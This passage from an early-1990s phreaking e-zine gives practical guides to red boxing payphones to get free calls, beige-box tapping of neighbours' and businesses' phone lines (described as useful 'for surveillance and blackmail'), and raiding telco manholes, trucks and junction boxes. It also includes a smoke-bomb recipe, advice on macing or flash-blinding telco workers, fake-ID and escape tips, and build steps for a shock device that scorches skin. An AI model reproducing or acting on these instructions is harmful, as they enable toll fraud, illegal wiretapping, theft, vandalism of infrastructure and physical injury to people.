  822. it's billing. Citibank bases it's MasterCard operations in Sioux Falls, South
  823. Dakota. The bill payment envelopes have the Citibank Sioux Falls address in
  824. both the delivery address and return address positions. (Most bill payments
  825. envelopes have three lines for the customer to write in his or her return
  826. address.) Therefore, regardless of whether the customer puts a stamp on the
  827. envelope, it is delivered to Citibank. (The return-address gimmick works even
  828. when the return address is in a different state from the mailing point.)
  829.  
  830.         Who is cheating whom? If the customer puts correct postage on the
  831. envelope, it is delivered to Sioux Falls at the customer's expense. No one
  832. is slighted. If, on the other hand, the customer intentionally omits the
  833. stamp, the payment is delivered at Post Office expense. Then the customer has
  834. cheated the Post Office. The Post Office also loses out if the customer
  835. honestly forgets to put a stamp on the envelope. But then blame ought to be 
  836. shared with the peculiar design of Citibank's envelope.
  837.  
  838.         Citibank's motive is plain: If the envelopes are returned to forgetful
  839. customers, it delays payment.
  840.  
  841.  
  842. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
  843.  
  844.  
  845.  
  846.  
  847.                     (*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)\
  848.                     (*)                                 (*)\|
  849.                     (*)           |>ead|<at             (*)\|
  850.                     (*)            presents             (*)\|
  851.                     (*)                                 (*)\|
  852.                     (*)         HOW TO RED BOX          (*)\|
  853.                     (*)                                 (*)\|
  854.                     (*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)\|
  855.                      \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\|
  856.  
  857.  
  858. INTRO
  859. ^^^^^
  860. Red boxing has quickly become Colorado's elite game of choice.  Ever since
  861. I dug up the 2600 plans and passed them out, it seems like every phreak in 
  862. Colorado has built one.  Many questions, though, have arisen.  To hopefully
  863. cut down on my e-mail, I present here the complete guide to using red boxes.
  864.  
  865.  
  866. CHOOSING A PAY PHONE
  867. ^^^^^^^^^^^^^^^^^^^^
  868. This is the simplest part of red boxing.  You must use an authentic U.S. 
  869. West (or other Baby Bell) payphone.  If the phone does not say U.S. West
  870. or have the bell symbol somewhere on it, it is a COCOT and cannot be boxed.
  871.  
  872.  
  873. LONG DISTANCE
  874. ^^^^^^^^^^^^^
  875. The most common reason for building a red box is of course to make long
  876. distance calls.  This is also the easiest way to use them.  To make the 
  877. call just dial:
  878.  
  879.                       1 + Area Code + Number
  880.  
  881. You will then here a computer voice ask you to deposit an amount of money.
  882. Make the quarter tones until you hear the voice say "Thank you".
  883.  
  884.  
  885. LONG DISTANCE WITHIN AN AREA CODE
  886. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  887. This is a little bit trickier.  Normally, U.S. West handles any calls within 
  888. an area code.  Unfortunately, U.S. West switching systems are not fooled by
  889. red box tones.  To get around this inconvenience, you must route your call
  890. through a long distance carrier.  You must first decide which carrier you 
  891. want to skam.  Here is a list of some of the major carriers available in
  892. Colorado and their equal access codes.
  893.  
  894. AT&T         10288 or 10732
  895. MCI          10222 or 10888 or 10789
  896. Sprint       10333
  897. Metromedia   10488 or 10999
  898. Encore       10805 or 10555
  899. Allnet       10444
  900. Tel. Xpress  10465
  901. ACI          10244
  902. U.S. Tel.    10471
  903. LDDS         10001
  904. One 2 One    10390
  905.  
  906. To make the call dial:
  907.  
  908.                     Access Code + 1 + Area Code + Number
  909.  
  910. Once again you will be told to deposit money, feed 'em the quarter tones.
  911.  
  912.  
  913. LOCAL
  914. ^^^^^
  915. To make a local call, you must also route the call through a long distance
  916. carrier.  To make the call, dial:
  917.  
  918.                           Access Code + Number
  919.  
  920. Thats it!  You will be told to deposit money as usual so unleash the tones.
  921.                        
  922.  
  923. DURING THE CALL
  924. ^^^^^^^^^^^^^^^
  925. If your call is over five minutes, you will hear a click at that time.  This
  926. means you have spent all your money and are running on credit.  Two minutes
  927. later you will be cut off temporarily and you will hear the computer ask you
  928. for some more money.  Deposit tones until you hear the voice say "Thank you".
  929. Remember, the party you are calling will here the tones as well.  After you
  930. have "paid" you will be reconnected to your party.
  931.  
  932.  
  933. AFTER THE CALL
  934. ^^^^^^^^^^^^^^
  935. When you are done, push the reciever down for a few seconds then let off and 
  936. listen.  If you went over your time, the computer voice will come on and ask 
  937. you to pay the amount you went over.  Pay with tones as usual.  If you just
  938. hang up, the phone will ring and there will be an operator on the other end
  939. asking for money.  Don't use the red box if you are talking to an operator.
  940. Either pay with real money or take off.
  941.  
  942.  
  943. CONCLUSION
  944. ^^^^^^^^^^
  945. Red boxing is phun and easy as long as you know what you are doing.  Memorize
  946. those access codes (or at least one) and you will be good to go.  I have 
  947. been red boxing for quite a while now and have never had any problems nor 
  948. have any of my receiving parties ever been harrassed by the Gestapo.  If you
  949. don't have the plans, call your local P/H BBS or contact somebody in TNO or
  950. leave me mail on Flatline.
  951. __________________________________________________________________________
  952. (C)opywrong 1993, DeadKat Inc.
  953. All wrongs denied.
  954.  
  955.  
  956. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
  957.                                
  958.  
  959.  
  960. (Editor's note:  The following two file are the best files I have ever read                               
  961.  on field phreaking.  They were written by Denver Hacker's a few years ago.
  962.  Since they were not widely distributed I have included them here for your
  963.  information.  Unfortunately we were not able to contact the original authors
  964.  to get permission to reprint them.  As far as we know, The Third Cartel is
  965.  defunct.  If any previous members of the group read this publication, we
  966.  ask that they get in contact with us at Flatline.)
  967.                                
  968.  
  969.                                -/\-/*\-/\-/*\-/\-
  970.                                 The Third Cartel
  971.                                -\/-\*/-\/-\*/-\/-
  972.  
  973.                                    Presents:
  974.   
  975.                                Field Phreaking I
  976.                               -=-=-=-=-=-=-=-=-=-
  977.                                   June,  1988
  978.  
  979. Introduction:  The purpose of this manuscript is to introduce useful phreaking
  980. -------------  techniques.  These techniques have been developed by the Third
  981. Cartel and have proved to be convenient and reliable.  
  982.  
  983. Field Phreaking Kit:  
  984. ====================
  985.  
  986. The Field Phreaking Kit is a neccessity for the serious phreaker.  Some 
  987. so-called phreaks get all of their information including codes from BBSs and
  988. have an ego big enough to call themselves phreaks.  The real phreak acquires
  989. knowledge on his own through perseverence and ingenuity.  Following is a list 
  990. of useful items for your Phreaking Kit:
  991.  
  992. o  Backpack:  Get one:  Very Handy.  We'll tell you how to get one or make one.
  993. o  Ratchet Set:  Usually, you'll only need 7/16 and 3/8" size ratchets.
  994. o  Screwdrivers:  Get medium and large screwdrivers, and a phillips head.
  995. o  Wire Cutters:  Just in case you want to wipe out some lines.
  996. o  Pliers:  For misc. stuff.
  997. o  Xacto or Pocket Knife:  To strip or cut wires.
  998. o  Penlight:  Nice and small; very useful for night work.
  999. o  Flashlight:  If you need lots of light and have enough room in your pack.
  1000. o  Gloves:  Make sure you don't get shocked or leave your fingerprints around.
  1001. o  Pencil and Paper:  Write down locations, notes, numbers, etc.
  1002.  
  1003. ------------------------------------------------------------------------------
  1004.  The Third Cartel carries the following optional materials in their Field Kit:
  1005. -------------------------------------------------------------------------------
  1006. o  Walki-Talkies:  For communications when yelling isn't possible or smart.
  1007. o  Battery Operated Camara Flash:  Good for flashing in someone's eyes at night
  1008.                                    Will blind a telco guy for a few seconds.
  1009. o  Mace/Dog Repellant:  Spray in someone's eyes if they give you trouble.
  1010. o  Smoke Bomb:  Helpful to divert attention or scare. [drop in telco car]
  1011.                 [Mix 3 parts potassium nitrate with 2 parts sugar and melt]
  1012. o  Matches:  For smoke bomb or anything that is flammable.
  1013. o  Bandana/Surgical Mask:  Manholes are dusty; Wear these for easier breathing.
  1014. o  Marker:  Mark your "territory" on phone boxes.
  1015. o  Fake Telco ID Card:  Will make some people think that you work for telco.
  1016.  
  1017. Organize your kit so you know where everything is and can get something quickly
  1018. when needed.  You don't want to be fumbling for your mace when the gestapo is 
  1019. about to get you.
  1020.  
  1021. Test Phone:
  1022. ===========
  1023.  
  1024. The Test Phone is the most useful piece of equipment for Field Phreaking.  You 
  1025. can try to sneak into a telco Plant Department [truckyard] and get a real test 
  1026. phone out of a truck like we did.  If you'd rather not do this, don't worry; 
  1027. making your own test phone is ultra-easy.
  1028.  
  1029. First, get a telephone for your own purposes.  Find the wire coming out of the
  1030. phone that is supposed to go to the wall's modular jack.  It should be at least
  1031. three feet long for convienience.  Cut off the modular jack at the end of the 
  1032. wire.  Strip the wire, and there should be two or four small  wires inside.  
  1033. Hook the two middle wires to alligator clips [preferably insulated]. You now 
  1034. have a test phone!  Very easy, indeed.  Now let's see if you hooked everything 
  1035. up ok.  First find your phone box.  It'll probably be on the outside of your 
  1036. house.  It's farly small, and you might need the ratchet to open it up.  Once 
  1037. you get it open, you should see some screws.  These are the terminals for your 
  1038. phone line.  Hook the alligator clips to the two top terminals.  If your phone 
  1039. is ok, you should get a dial tone.  Once you know that your phone is working, 
  1040. a whole new world opens up to you!  You can hook the phone up to your 
  1041. neighbor's terminal and call long distance or yell at the operator on their 
  1042. line.  Be careful, though.  You don't want to be talking to Sue in L.A. when 
  1043. your neighbors are home and awake.  If they pick up the phone when you're 
  1044. already on, you could get into serious trouble.  Of course, you could always 
  1045. listen in on them!  If you want, you can hook wires up to your neighbor's 
  1046. terminal and lead them to your house.  In case you didn't know, this is called 
  1047. Beige Boxing.  You can then hack computers on their line, call Dial-A-Prayer, 
  1048. etc.  Make sure to hide the wire well so that it won't be traced to your 
  1049. house!
  1050.  
  1051. Manholes:
  1052. =========
  1053.  
  1054. One way to get access to an abundance of phone lines is by getting into telco 
  1055. manholes.  You don't want to accidentally get in a sewer manhole, so the first 
  1056. thing to do is find the differences between sewer and telephone manholes.  If 
  1057. you have trouble with this, here's a few tips that might help:
  1058. o  Telco manhole covers are usually larger and heavier than other covers.
  1059. o  Telco manholes are scarce compared to sewer manholes.  So if there are
  1060.    a lot of checkered manhole covers in your area, those are probably sewer 
  1061.    manholes.  If there are only a handful of unmarked manhole covers in
  1062.    your area, those probably contain phone lines.
  1063. o  Go to your local telco Central Office [CO] and find out what the manhole 
  1064.    covers look like there.  Find manhole covers that look the same in other
  1065.    areas, and pick a convenient/safe manhole to explore.   
  1066.  
  1067. Getting into a manhole is a different story.  Here in the Denver area, it takes
  1068. at least three people to get a manhole cover off.  Hopefully it'll be easier
  1069. to do in your area.  To open the manhole, you'll probably need at least two
  1070. crowbars [You could try using a pickaxe].  Get a group together to open the 
  1071. manhole, using 2 or more people with crowbars to slide the cover off.  You 
  1072. might want to get a strong guy to push the manhole cover while the other people 
  1073. with crowbars support it.  If you know of a tool that was made specifically
  1074. for opening manholes, we'd appreciate it if you contacted us on some local 
  1075. Denver boards and told us about it.  Likewise, if you have a better system for 
  1076. opening manholes, we'd be grateful for the information.
  1077.  
  1078. Once you get the manhole cover off, shine a flahlight down to see if there's 
  1079. a ladder going to the bottom.  Try a different manhole if there's no ladder.  
  1080. If you want to go down a manhole, don't forget to wear a bandana or surgical 
  1081. mask over your mouth so that you don't choke on dust.  Also bring a flashlight 
  1082. so you can see what you're doing.  Many times, there'll be a few inches of 
  1083. water at the bottom, so you might also want to wear boots.
  1084.  
  1085. Down in the manhole, you might find some equipment or manuals.  Go ahead and
  1086. take them if you want; you deserve it!  There should be some very large ABS.  
  1087. The phone lines are inside these tubes.  Attached to this tubing there will 
  1088. be some short, wide plastic cylinders.  There'll be screws holding these 
  1089. cylinders on to the tubing.  You'll need either a screwdriver or a ratchet 
  1090. to open a cylinder.  If you happen to get a cylinder open, congratulations!  
  1091. You now have access to countless phone lines!  We'll leave it to you to 
  1092. figure out what to do with all of those wires.  Surely you'll figure 
  1093. something out!  [snip, snip!]
  1094.  
  1095. Exploring Telco Building Sites:
  1096. ===============================
  1097.  
  1098. One of the best ways to get information about telco is by going to a Central
  1099. Office near you, exploring the trucks in a Plant Department, or "visiting"
  1100. other telco buildings.  The phone company is careless in many ways.  They 
  1101. leave important, yet unshredded documents and computer printouts in their
  1102. open dumpsters.  Their cars, vans, and repair vehicles are almost always left 
  1103. unlocked.  Inside their vehicles one can usually find manuals, test phones,
  1104. computer cards [usually for mainframes, almost never for personal comuters], 
  1105. nice tool sets, etc.!  It's almost as if they *want* to be ripped off!  They 
  1106. deserve bad treatment just for their negligence.  If possible, we like to be 
  1107. courteous to individual employees of telco.  Most employees are fairly amiable 
  1108. and don't deserve trouble.  It's the beuracracy of telco that deserves to be 
  1109. manhandled.  Cheap practices such as monopolizing and the overpricing of 
  1110. services is the general reason why we phreaks do what we do with such 
  1111. determination.  On with the show.
  1112.  
  1113. Exploring Dumpters:  Looking inside telco dumpters is probably the easiest way 
  1114. to acquire useful information.  Typycally, dumpters will be found outside a
  1115. Central Office.
  1116.                                 
  1117.                                
  1118.                                
  1119.                                -/\-/*\-/\-/*\-/\-
  1120.                                 The Third Cartel
  1121.                                -\/-\*/-\/-\*/-\/-
  1122.  
  1123.                                    Presents:
  1124.                                
  1125.                               Field Phreaking II
  1126.                               -=-=-=-=-=-=-=-=-=-
  1127.                                   July,  1988
  1128.  
  1129. Introduction:  The purpose of this manuscript techniques have been developed 
  1130. by the Third Cartel and have proved to be convenient and reliable.  This 
  1131. manuscript is a continuation of Manuscript II: Field Phreaking.
  1132.  
  1133. Pay Phone Hacking:
  1134. ==================
  1135.  
  1136. The safest way to get phreaking codes is by hacking them on a pay phone.  The
  1137. chances of getting caught are extremely remote, especially if you switch pay
  1138. phones every few minutes.  One problem with hacking codes is that when you find
  1139. a code by dialing it randomly, you often forget what code you dialed.  To
  1140. prevent this, we print out a sheet filled with 6-8 digit random codes on the
  1141. computer.  Then we start testing each of these codes off of a 950 number.  This
  1142. works great, especially since 950s are not charged!  Cross off each code on the
  1143. paper that doesn't work, and mark the ones that do work.  This technique takes
  1144. a lot of patience, but it's worth it if you have a terrible short-term memory.
  1145.  
  1146. Telco Boxes:
  1147. ============
  1148.  
  1149. This is our prime focus in Manuscript III.  Every field phreaker worth his
  1150. weight in dung should at least know the basics about phone boxes.  There are so
  1151. many different types that we can only cover the major groups.  But once you
  1152. learn about a few boxes, it'll be easy to learn about others.  Be sure to
  1153. bring a test phone with you [see Manuscript II] so you can connect up to phone
  1154. lines.
  1155.  
  1156. Small Boxes:  Small telephone boxes typically contain 1 to 20 different phone
  1157. ------------  lines.  They are usually in convenient and safe locations.  They
  1158. are easy to open, and can be closed quickly.
  1159.  
  1160. Home Boxes:  Unless you live in an apartment complex, your home box shoud be
  1161. very easy to locate.  It is small box located on the side of your house;
  1162. usually a foot or two of the ground.  Many times it will be beige colored
  1163. and may require a ratchet [Usually 3/8"] to open.  If you have more than one
  1164. line in your house, your box will probably be fairly large and light gray.
  1165. You'll need a ratchet and a screwdriver to open a two-line box.  In the
  1166. one-line box there will be five terminals or screws.  The top two screws should
  1167. have red and green wires leading to them.  If you connect your test phone clips
  1168. to these screws, you'll be on the line.  Usually, the two screws below contain
  1169. the same phone line.  The very bottom screw, in the middle, is the ground.  In
  1170. the two-line boxes, you should be able to figure out how to hook up to the
  1171. lines rather easily.  They even have a modular plug jack that you can plug a
  1172. normal phone into.  There are also several terminals that you can hook the
  1173. clips up to.
  1174.  
  1175. Aluminum Multi-Line Boxes:  These boxes are usually found behind business
  1176. buildings and shopping centers.  Some condominium complexes also have these
  1177. boxes hooked up to walls on a few units.  Each box contains five or more phone
  1178. lines.  The boxes are rectangular and made of aluminum, are very easy to open
  1179. and close, and often say "Western Electric" on the front.  Once you get the box
  1180. open, you will see several pairs of terminals grouped diagonally.  Simply
  1181. attach your phone clips to a correct pair, and you'll be on a phone line.  Run
  1182. an ANI on the phone line to find its number.  If your phone happens to be
  1183. polarity sensitive, and you get no dial tone when hooked up to terminals,
  1184. reverse the alligator clips and you'll be on the line.
  1185.  
  1186. Small Distribution Boxes:  These boxes, usually either light green, or a very
  1187. dark green, are not very common, and can be found behind shopping centers,
  1188. houses, and other buildings.  You'll probably need the ratchet to open it,
  1189. and a knife to strip some wires.  The top of the box pulls off if you loosen
  1190. the screws enough.  Inside, there will be several wires.  Two different sizes
  1191. of wires are found in distribution boxes.  The larger wires lead to nearby
  1192. buildings.  The smaller wires lead to another distribution box where they are
  1193. spliced yn.  These boxes take the most time to use because they have no 
  1194. terminals and you have to find the correct wire pairs.  It's easiest to find 
  1195. the large wire pairs, so start out with those.  Once you find a phone line, 
  1196. you might want to tape together or label the wire pair for future reference.  
  1197. Use the same procedure for the smaller wires.  If you find a good box, and 
  1198. are willing to take the time, these boxes can be very worthwhile!
  1199.  
  1200. Medium Boxes:  Medium boxes carry more lines than small boxes but are usually
  1201. -------------  found in somewhat risky locations.  Most of them require a
  1202. ratchet for access, and they usually open on a hinged door.
  1203.  
  1204. Medium Distribution Boxes:  These are identical to the small distribution
  1205. boxes, but carry far more phone lines.  Many times, after taking off the cover,
  1206. there will be a flat access plate you can open with a ratchet.  Use the same
  1207. procedure for this box as outlined in the small distribution box description.
  1208.  
  1209. Flat Peg Boxes:  Flat Peg boxes are frequently found behind grocery stores,
  1210. shopettes, and other businesses.  Sometimes they can be found in an office
  1211. phone room or in the back halls of shopping malls.  They are typically big,
  1212. square boxes mounted to a wall and are opened by a handle on a hinged door.
  1213. Sometimes, they are mounted away from a building.  We've seen some that are
  1214. double sided and require a ratchet to open.  Inside, the terminals will be
  1215. grouped in approx. 10 X 3 inch columns.  The terminals are long flat pegs.
  1216. There are four terminals per row.  It is sometimes difficult to hook up to a
  1217. line since the terminals are so close together, but you'll get the hang of
  1218. it after a few tries.
  1219.  
  1220. Large Boxes:  These boxes sometimes contain hundreds of phone lines.  They are
  1221. ------------  found along busy streets and in business areas or apartment
  1222. complexes.  You'll need a ratchet to open one.
  1223.  
  1224. Wire Box:  The wire box is about three feet tall and has two doors opened by
  1225. one latch.  The wires lead into long, plastic, rectangular grouping stations.
  1226. There should be a tool attached by two screws to the side of a door.  Connect
  1227. your phone clips to these screws.  Now connect the tool to a plastic grouping
  1228. station.  If you connect the tool correctly, you will be on a line.  
  1229. The bes contained in a single grouping station.
  1230.  
  1231. Terminal Boxes:  In our opinion, the terminal box is the king of boxes.  A
  1232. single box may contain up to eight hundred lines.  You can't miss these boxes
  1233. because of their size.  They stand at least four feet tall and have the
  1234. characteristic light green color of most boxes.  After opening a box, you will
  1235. see many red and white numbered terminals pairs on each side.  On the inside of
  1236. each door, there are two screws to connect your test phone to.  Leading out
  1237. from the screws is a double current alligator clip that can easily connect to
  1238. any pair of terminals.  This easy connection tool makes this the most
  1239. convenient box to use, and the most profitable.
  1240.  
  1241. Helpful Tips:  Now that you know how most major boxes work, you'll be able to
  1242. -------------  figure out how other boxes work.  By now we're sure you have
  1243. thought of some interesting things to do with boxes.  Here are some tips you
  1244. might find helpful.
  1245.  
  1246. The Perfect Box:  The most tedious step in field phreaking is finding "The
  1247. Perfect Box."  This box should be located away from streets and hidden from the
  1248. view of homes.  When working on this box, there should be no worry of being
  1249. caught or observed.  Finding this box might take quite a while, but don't give
  1250. up hope; it's well worth the time and effort.  Try looking around waterways
  1251. such as creeks, lakes, and ditches.  If you have easy access to wilderness
  1252. areas, such as the mountains, try looking for Perfect Boxes around there.
  1253.  
  1254. Beige Boxing:  We're not sure exactly who invented the beige box, but it can be
  1255. extremely useful for surveillance and blackmail purposes.  The only materials
  1256. you need for a beige box are two wires and your test phone.  Connect the wires
  1257. to the ring and tip of the line you want to tap.  Make sure your wires are
  1258. hidden, and lead them to your house or other location.  You then can connect
  1259. your phone to the wires and listen in on conversations or use their phone line
  1260. however you want.  Make sure that you don't use a boxed line when the victim
  1261. is likely to pick up his phone and hear you.
  1262.  
  1263. Safety Tips:
  1264.  
  1265. o  Well, first of all, be extremely careful when choosing a box to work on.
  1266.    Two of us got arrested for using the wrong box at the wrong time.  Make
  1267.    sure that nobody will see you when you're working on it, because you're
  1268.    putting your record at risk.  Of course, if you're under 18, you don't have
  1269.    to worry quite as much, but going to court is not K-Rad.
  1270.  
  1271. o  Try wearing gloves when working on phone lines.  You don't want to get
  1272.    shocked or leave fingerprints around.
  1273.  
  1274. o  If you ever open a box that has huge cables in it, it's probably a power
  1275.    box.  The power box is usually dark green and stands a few feet in height.
  1276.    Don't even think of messing with one unless you want to risk having a
  1277.    painful death.  If you absolutely *must* disconnect someone's power, then
  1278.    use *EXTREME* caution when disconnecting the cable.  Wear heavy duty gloves,
  1279.    make sure that you aren't wet, and don't use metal tools.
  1280.  
  1281. o  Always look for your boxes at day, and work on them at night.
  1282.  
  1283. o  Have a getaway bike or car ready in case of an emergency.
  1284.  
  1285. o  If anyone catches you, act cool and calm.  You don't want to say "uh, well,
  1286.    umm...well I was just uh...," because that makes you look suspicious.
  1287.    *Always* have a story ready *before* you start opening boxes!  This has
  1288.    saved us a couple of times.
  1289.  
  1290. o  You might want to incorporate your fake I.D. card into the scheme so people
  1291.    think that you work for the phone company.  Remember, this won't work on
  1292.    telco employees.  Only attempt to fool average citizens.  If they call the
  1293.    cops or telco, take off.
  1294.  
  1295.    This concludes Manuscript III.  We described most of the major phone boxes
  1296. so that you'll be able to figure out how other boxes work.  
  1297.  
  1298.  
  1299. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
  1300.  
  1301.  
  1302.  
  1303.                         -=How to make a ZaPPeR GuN=-
  1304.                         -=By Panther Modern TNO/TBF=-
  1305.  
  1306.  
  1307.   The zapper gun is kinda like a commercial stun gun.  It is not as 
  1308. powerful, and is mainly used to piss people off, not to put them down.
  1309. It will scorch skin very painfully, if applied.  Total cost for it is
  1310. around $20-$25, and it is a fun thing to make if yer kinda bored.
  1311.   If you don't know what a capaciter is, read no further, go find out
  1312. what one is/what one looks like, then come back.  Anyway, materials
  1313. are:
  1314.  
  1315. --------------------------------------------------------------------
  1316. Qty           Description                        Approx price
  1317. --------------------------------------------------------------------
  1318. 01       Disposable Fugi-Film FLASH camera        $15+TaX
  1319. 01       Small-Mid radio shack projekt BoX        $2-$3 or so..
  1320. 02       Dry wall nails                           10-20 cents
  1321. 01       Radio Shack SPST Push Button             $1.50
  1322. 01       1 Alkeline AA battery                    $0.50
  1323. --------------------------------------------------------------------
  1324.            This is to make a fairly nice version.
  1325.            For the raw, crappy version, all you
  1326.            need is the camera.  I won't even go
  1327.            into details on making it, you can 
  1328.            figure it out for yerself.
  1329. --------------------------------------------------------------------
  1330.  
  1331.   Okay.  Get the camera.  If you want, take some pictures.  ALL OF THEM, 
  1332. or none of them.  Cause if you don't take all, you'll ruin the film..
  1333. Now, when yer ready, first, rip off the cardboard.  You'll have a plastic
  1334. box.  Open it up, as well as you can.  Be very careful not to damage the
  1335. circuit board, wires, flash, etc.  Once it's open, discard the plastic
  1336. case, and the film.  Now, looking at the circuit board, one can see
  1337. a fairly empty space.  Rite in the middle of it, will be 2 small copper
  1338. "plates."  Soldier your button to this place.  YOu may also remove the
  1339. flash at this time, as it will be shortly rendered useless.  Also, you will
  1340. notice two protrusions of copper strip.  Pull 'em off, and MAKE SURE they 
  1341. aren't touching when you finish, cause it will ruin the gun.  Next, put 
  1342. the circuit board in the project box.  Drill one hole so you can see the 
  1343. LED.  THis will tell you when the gun is ready to FIRE!  (When the LED 
  1344. flashes).  Next, line up approx where you want your two tips.  Line up 
  1345. the capaciter with this.  Drill holes.  Next, drill one last hole where
  1346. you want the button.  Now, remove the generic AA battery in the camera, 
  1347. replace it with your hi-quality Alkeline AA battery.  Now, stick the nails
  1348. in, and soldier them via wires to the two capaciter leads.  Seal them in
  1349. place with either expoxy or hot glue.  Now, wire up your button, and stik
  1350. the LED in the hole you made for it.  CLose up the box.  Your gun is made..
  1351. Just push the button, holding down for apporx 2 seconds until the lite 
  1352. flashs, and touch whatever you want to SHOCK.  This gun is semi-lame, but
  1353. is also fun, and good for boredom..Have PhUn!!
  1354.  
  1355.  
  1356. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
  1357.  
  1358.  
  1359.             
  1360.  
  1361.                           Comments on Phrack 42
  1362.                                by Karb0n
  1363.                                 -=TNO=-
  1364.  
  1365.  
  1366. Ok...I was reading a little of Phrack 42...in the first part of the issue I 
  1367. read this short post on turning traffic lights to green on your side....
  1368. I'm here to tell that fucker that you cannot do that anymore... Maybe where
  1369. he lives you can...but not in Colorado.....he must have had an old system.
  1370. Now i'm sure there are a few old lights around 303 that can still be used that
  1371. way but...the metro are is not possible....i'll explain:
  1372.  
  1373. There are three different ways to change a stoplight in your direction to 
  1374. green.
  1375.  
  1376. 1) Manually Activated Devices:
  1377. Traffic conroll devices of this type operate by a switch that is manually held
  1378. until a Fire Engine or Ambulace clears the intersection. This switch can be 
  1379. set up on an automatic timer that iterrupts traffic flow until the apparatus
  1380. responds, thens turns the light cycle back to normal.
  1381.  
  1382. 2) Siren Activated Devices:
  1383. The siren of the Apparatus or Police Unit activates this traffic controll 
  1384. device. A sound pick-up unit is located at each MAJOR intersection. This unit
  1385. filters out all other noise except the siren and sends a signal to the traffic
  1386. light selector in the control box. The traffic light selector holds the 
  1387. yellow light for a few seconds (to let cross-traffic pass through) and then
  1388. switches to red..which flashes at double the normal rate.
  1389.  
  1390. Alot of people think  there car horn will set some of these off....no! Not 
  1391. true!
  1392.  
  1393. 3) Light Activated Devices: (This is the one that d00d talked about in Phrack)
  1394. This type of traffic controll device is activated by a Pulseating, High-
  1395. Intensity Stobe light that sends a signal to a detector located at each major 
  1396. intersection. This dector holds the light green...if it happends to be green
  1397. when your going through it, or speeds up the normal cycle to green in the 
  1398. direction of travel...(note: This means there is a RED light on three sides 
  1399. and GREEN only on yours). There is an indicating light located next to the
  1400. light detector, assuring the driver that the traffic signal is in controll
  1401. by the stobe light.
  1402.  
  1403. Ok...The name of the stobe light system is called an OPTICOM. The key word in
  1404. the upper paragraph was "HIGH-INTENSITY"...normal car do not have high 
  1405. intensity lights...even when you put your brights on. The OPTICOM flashes at
  1406. over 14 times a second...it almost looks like a regular solid light..but nope.
  1407. If you guys don't know what i'm talking about...next time you see a Fire Truck
  1408. running with lights and siren...look at the top of the engine and you'll see 
  1409. it flashing away...actually..I think it's the most noticable thing....
  1410.  
  1411. Note: Police cars do not have these on them....and only some Ambulances.
  1412. The reason Cops don't have them is because they have a car that is easier to
  1413. manuver through other cars and intersections. But a fire enigine..with alot
  1414. of water and very heavy can't turn on a dime...you'll be screwed in a second!
  1415. So thats why Fire trucks have them and cops don't. SOme ambulances do...so
  1416. keep an EYE out for it. 
  1417.  
  1418.  
  1419.                                         Karb0n -=TNO=-
  1420.  
  1421.    Greets-
  1422.  
  1423.                 Cavalier: Have you come up for air yet?
  1424.                 Dead Kat: Was I abducted?
  1425.          Nuklear Phusion: Dude... the Delphi died.
  1426.            
  1427.  
  1428. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
  1429.  
  1430.  
  1431. CONCLUSION
  1432. ~~~~~~~~~~
  1433.      Well, thats it for our first issue.  The next ones should be a bit longer
  1434. and probably more technical.  We hope that you found this publication both
  1435. useful and interesting.  If you have the urge to write a text file, please 
  1436. contact us at Flatline.  The number is posted on many BBS's and many quality
  1437. hackers have the number too.  If you have any comments about this file, please
  1438. let us know.  We are more than open to suggestions on how to improve this 
  1439. 'zine and would appreciate feedback.  Look for issue number 2 on a quality
  1440. BBS near you!
  1441.  
  1442. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
  1443.  
  1444.  
  1445.